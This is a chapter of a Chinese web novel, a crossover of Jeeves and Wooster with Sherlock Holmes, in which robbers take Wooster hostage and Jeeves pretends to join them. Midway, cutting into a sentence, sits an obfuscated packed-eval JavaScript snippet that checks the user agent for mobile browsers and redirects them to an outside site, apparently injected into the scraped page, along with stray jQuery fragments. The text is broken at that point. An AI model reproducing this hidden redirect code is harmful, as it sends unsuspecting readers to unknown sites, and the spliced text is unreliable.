10.第 10 章

作品:《[综英美]冤枉啊!福尔摩斯

    不知道你们有没有被强盗挟持过?


    卡洛斯先生可不是温柔的那种,当然强盗也不可能温柔。他突然暴起,一枪托砸晕了汤姆姑父,随后指着我的脑袋,让我从橱柜里取出最值钱的几样藏品装进他的背包,又搜刮了抽屉里的现金,随后押着我去车库。


    然而车库全部上了锁,只有仆人那里有钥匙。


    他愤怒得要当场掐死我,危机之时,吉福斯从拐角处走出。


    天哪!千万别!我真担心卡洛斯一不冷静就要杀人灭口,想到吉福斯中枪的模样,我脑袋里一黑就要晕倒,被瓦伦蒂娜小姐一巴掌扇到了车库门上。


    她手劲真大,而且手心带着薄茧。真让吉福斯说对了,他们根本就不是什么贵族,这姑娘也压根不常戴手套。


    “很抱歉,先生,小姐。我刚刚凑巧听到了你们和伍斯特先生的对话。”吉福斯说。


    “哦?”卡洛斯步步向前紧逼,“你知道秘密是怎么保守的吗?”


    “我认为我可以向你们提供帮助,先生。我有车库的钥匙,可以开伍斯特先生的车送你们去伦敦。时间紧急,你们一定不想错过召唤仪式吧?”


    兄妹俩愣住了,卡洛斯怀疑地上下扫视着他:“撒谎,你想保护你家主人。你都知道什么?统统交代,不然我就用这把枪在你的脑袋上钻个血窟窿。”


    面对威胁,吉福斯依旧镇定地站得笔直:“请先听我一言。”


    叽里咕噜的语言从他嘴里冒出来,我一个字也没听懂,但其他的听众仿佛找到了知音。卡洛斯放下枪,和瓦伦蒂娜惊喜地看着吉福斯,恨不得上去与他拥抱。


    “我主在上,你是怎么——”


    他又继续说了什么,这下三人都聚在一起。有个词叫什么?“狼狈为奸”?他们就像是某种狡猾的动物互相嗅了嗅,确定共同的阴谋诡计,之后愉悦地哈哈大笑起来。


    吉福斯拿出钥匙打开车库,卡洛斯先生兴奋得鼻孔都放大了:“真没想到,吉福斯先生,没想到!居然我们能在英国碰面!”


    “的确令人惊喜,先生。”他微微一笑,“需要我控制住伍斯特先生吗?我可以抓着他的手臂坐在后排。”


    “当然,吉福斯先生。”瓦伦蒂娜嗓音甜腻地说,“伍斯特先生不可或缺。”


    吉福斯将我的胳膊反剪到背后,训斥道:“老实点,伍斯特!如果你胆敢逃跑,我就叫你吃尽苦头,哭着向我求饶。”


    如果换做别人,现在我肯定心都凉透了,觉得自己遭到背叛。但是对吉福斯我从不怀疑,他一定是想要救出我才假扮强盗的同伙。当然他刚才说的,我猜是他不小心泄露的心里话。


    我就这样被绑上了车,吹着春日的冷风被押送去伦敦。路上除了我之外的三人都异常激动,连平日里不言不语的瓦伦蒂娜都打开话匣子:“吉福斯先生,你潜伏在英国贵族家里肯定也是为了寻找线索,对吧?”


    “的确如此,否则我也不会忍受这群傲慢愚蠢的家伙。每当他们发号施令,我都想用茶壶用力击打他们的后脑勺。”吉福斯高傲而冷漠地回答。


    我缩在椅子里大气不敢喘,生怕吉福斯入戏太深,没控制住狠狠惩罚我。


    抵达伦敦已经是清晨,阳光出现在天边,零星的几个路人也开始打扫街道,但并未见到真正的太阳。兄妹俩变得十分焦躁,小姐一直在咬手指甲,终于到了古董店附近的路口,卡洛斯把车停下。


    “走,伍斯特,你再去偷一趟金币。我们就在这里等你。”他狞笑着说。


    吉福斯却建议:“请三思,先生。先不说伍斯特先生常常‘成事不足败事有余’,即使他成功得手,也难保不会报警或是带着金币自己逃之夭夭。”


    “那我们一起去,他敢有小动作,我就——”


    “我认为,先生,你应该和小姐一块儿去,我在这里看守伍斯特先生。首先,店主已经见过我们的样貌,会提前惊动他。其次,你们兄妹俩最能信任彼此,不会出差错。况且我熟悉伦敦地形,换我来放风并接应你们再好不过。”


    他们被吉福斯说服了,拿上工具和武器走下汽车。等两人的身影都消失在浓雾之中,我才软倒在吉福斯身旁:“耶稣基督啊!”


    他从座位底下拖出野餐箱子,拿出茶壶罐:“要润润嗓子吗,先生?请原谅,刚才情况紧急,我不得不冒犯你。”


    “嗨,这点小事算什么呢?你救了我的命。”我让他喂我喝了点水,感激地说,“我们快逃吧!”


    “不,先生,还有些未尽之事。你不必担心,我会保护好你的。”


    有可靠的吉福斯在身边真好,像过去无数次救我于水火那样,叫我感动得眼泪汪汪。他理了理我的头发,摘下自己的帽子戴在我头上,又从怀里掏出雪花膏在我脸上涂抹,修复我被风吹得干燥的皮肤。


    “吉福斯,你是怎么知道我被挟持的?”


    “和格罗索普先生对话时,我就有所猜想。送他去厨房后,我叫仆人查看了两人的房间,他们都不在房里。我推测他们肯定去了藏品室,就在门口偷听到了你们的对话。但迭戈手里有枪,我不敢冒险,只能假装融入他们。”


    “迭戈是谁?”


    “自称卡洛斯先生的那位。我相信他是臭名昭著的西班牙强盗迭戈·萨拉扎尔,绰号‘断喉者’,他的妹妹‘红狐女士’有一手出神入化的撬锁技巧,两人在西班牙屡屡犯案。他通常会用自己的领带勒死受害人,并洗劫他们的财物。”


    “那斯威登老头不就危险了!”


    “否定的。你是否忘记古董店周围已被警方埋伏,先生?他们这一去很难脱身,即使侥幸逃出,我也有另外的准备,只需要耐心等待。”


    真是峰回路转,我怎么也想不到阿加莎姑妈给我介绍的相亲对象居然会是强盗。等明天我一定要到她家里去大声嘲讽,让她羞愧地不敢再催我结婚。


    “真是太神奇了,吉福斯!你是如何知道这一切的?”


    “我从一位名叫理查德森的朋友那里得知,从国外来的强盗意图在伦敦城再次犯案。经过几日的信息比对,确信就是他们二人。”


    风吹开了树梢,露出圆月,什么都明了了,连空气也十分清新。我正要继续夸赞吉福斯的智慧和英勇,几点枪声在巷子里响起,吉福斯脸色变了,按住我的肩膀叫我别动,站起来爬到驾驶座。


    脚步声踢踏作响,很不幸,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346694|198395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卡洛斯和瓦伦蒂娜都没被警察抓住,而是以极快的速度朝汽车这里冲刺。我扭头看着吉福斯,他深沉得像是位研读经典的大主教般捉摸不透。


    那两个强盗兄妹不是单独来的,子弹打在墙上和穿过空气击中周边的房屋,紧追其后的是几位警察。有个人冲在了最前面,我在雾气中仔细辨认,发现正是有品位探长!


    我立刻弯下腰钻到了车门后面,只露出眼睛。他一马当先,双腿甩出残影,眼见着就要追上强盗。我原以为他们会被抓住或者击中,然而卡洛斯突然转过身,在探长即将开枪时将妹妹一把朝探长推去。


    “砰!砰!砰!”枪走火了,瓦伦蒂娜惨叫一声,重重砸在探长身上,他也发出尖叫。可卡洛斯还嫌不够似地,再次举枪朝他们射击。


    我浑身发冷,意识到这穷凶极恶之徒手里有许多条人命,他不仅手段残忍,甚至连自己妹妹都可以牺牲。我瞬间恶心得想吐,手指紧紧抠着座椅皮面。


    吉福斯启动了汽车,几个呼吸间,卡洛斯跑到车前跳入驾驶座。车子飞速窜出,将我带倒在座椅上,我回头看着小巷,几位警察接住了瓦伦蒂娜,而探长大叫着让其他人把警车开来。


    吉福斯一定把油门踩到了最里,我们在伦敦街头四处逃窜。对卡洛斯的厌恶和畏惧让我无法开口,只躲在座椅上发抖。


    很不幸,他得手了,手里攥着枚金色的东西,时不时发出奸笑,在那上面亲吻几下,宝贝得不行。


    忽然一个急刹车,车子停在了路边。我们前面有座桥,太阳即将从河面升起。


    “停下干什么?继续开啊,吉福斯!”


    “抱歉,卡洛斯先生,有人挡住了去路。”


    我眯着眼睛朝前看去,雾里面矗立着一个庞然大物,横挡在桥中央,旁边还有个人影。


    “那就后退。”


    “那样很可能撞见追捕的警察。”


    卡洛斯咒骂着跳下车,挥舞手枪冲上桥:“听着!不想吃子弹的话就挪开你的屁股——”


    “卡洛斯先生?”站在桥上发呆的不是别人,而是塔皮。只见他牵着达达,正想尽办法叫它挪开身子,但它固执地一动不动。“瓦伦蒂娜小姐呢?”


    我疑惑塔皮怎么出现在这里,难道他不应该在庄园里吗?这简直是乱了套了,如果他知道小姐被枪打中怎么办?


    “滚开!滚开!”卡洛斯发了大疯,神情癫狂地趴在桥头张望着天边。太阳的头已经冒了出来,颇有侵略感的阳光即将盖过所有星星和月亮。


    “不!来不及了!时间不够了!”


    他夺过缰绳,想把占据桥面的达达扯开,但无济于事。吉福斯给我一个安抚的眼神,轻咳一声走上前。


    “我认为极端时刻采取极端手段,卡洛斯先生。现在格罗索普挡住了你的去路,将会阻碍召唤仪式顺利展开。也许你应该解决掉这个麻烦。”


    我吓傻了,卡洛斯双眼冒着幽火,龇牙咧嘴地举起手枪,“让我……”


    吉福斯伸手按住枪:“我的提议是,枪声可能会引来警察,毕竟我们还需要花时间把牛挪开,也许将格罗索普作为仪式的第一个祭品会是好选择。你觉得呢,先生?”